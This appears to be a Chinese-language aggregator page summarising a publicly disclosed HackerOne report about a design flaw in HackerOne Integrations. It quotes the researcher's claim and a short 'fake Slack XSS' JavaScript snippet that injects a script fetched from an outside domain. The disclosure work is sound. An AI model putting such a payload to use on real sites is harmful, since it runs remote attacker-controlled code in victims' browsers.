HackerOne Integrations Design Issue
错误配置 / 违反安全设计原则（按标题归类） / #172289
该报告还没有中文解读。
原文摘录
摘自原文（3964 字符中的一小部分）
The `HackerOne Integrations` feature is very sensitive and can not be used with just a click, IMHO, or we can say "HackerOne users are a click away from giving to an attacker very sensitive privileges to his private account".
原文中的代码
/* FAKE SLACK XSS */
var newScript = document.createElement('script');
newScript.setAttribute('src', 'https://dotfivelabs.com.br/teste-BB32FE5A/css/hackerone-integrations.js');
document.head.appendChild(newScript);默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 HackerOne 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @whhackersbr · 版权归作者与 HackerOne 所有